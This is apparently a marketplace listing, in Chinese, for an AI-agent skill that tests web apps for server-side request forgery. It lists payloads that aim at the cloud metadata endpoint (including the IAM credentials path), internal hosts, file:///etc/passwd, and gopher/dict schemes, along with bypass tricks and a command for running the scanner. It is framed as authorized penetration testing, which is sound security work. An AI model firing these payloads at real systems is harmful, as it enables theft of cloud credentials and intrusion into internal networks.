# Performing Ssrf Vulnerability Exploitation

> 通过探测云元数据端点、内网服务和协议处理器，检测用户可控 URL 参数中的 服务端请求伪造（SSRF）漏洞。测试 AWS/GCP/Azure 元数据 API（169.254.169.254）、 通过 HTTP 进行内网端口扫描、URL 协议绕过技术以及 DNS 重绑定检测。

- Skill: `killvxk/performing-ssrf-vulnerability-exploitation` (Agent Skill, multi-file: 4 files)
- Install (CLI): `npx skillmds@latest add killvxk/performing-ssrf-vulnerability-exploitation`
- Raw SKILL.md: https://api.skillmd.com/api/skills/killvxk/performing-ssrf-vulnerability-exploitation/raw
- Safety review: pending
- Works with: Claude Code, Claude.ai, OpenAI Codex
- Category: DevOps & Infra
- License: Apache-2.0
- Author: killvxk (https://skillmd.com/u/killvxk)
- Updated: 2026-09-17
- Page: https://skillmd.com/skills/killvxk/performing-ssrf-vulnerability-exploitation

---


## 说明

1. 安装依赖：`pip install requests`
2. 识别目标应用中接受 URL 或主机名的 URL 参数。
3. 测试 SSRF 载荷：
   - 云元数据：`http://169.254.169.254/latest/meta-data/`
   - 内网服务：`http://127.0.0.1:port/`、`http://10.0.0.1/`
   - 协议处理器：`file:///etc/passwd`、`gopher://`、`dict://`
   - 绕过技术：IP 编码、DNS 重绑定、URL 重定向
4. 分析响应，确认信息泄露或内网访问。
5. 生成漏洞评估报告。

```bash
# 仅用于已授权的渗透测试和实验室环境
python scripts/agent.py --target-url https://app.example.com/fetch?url= --output ssrf_report.json
```

## 示例

### AWS 元数据 SSRF
```
GET /fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/
```
如果响应中包含 AWS 凭据（AccessKeyId、SecretAccessKey），则证实存在高危 SSRF 漏洞。

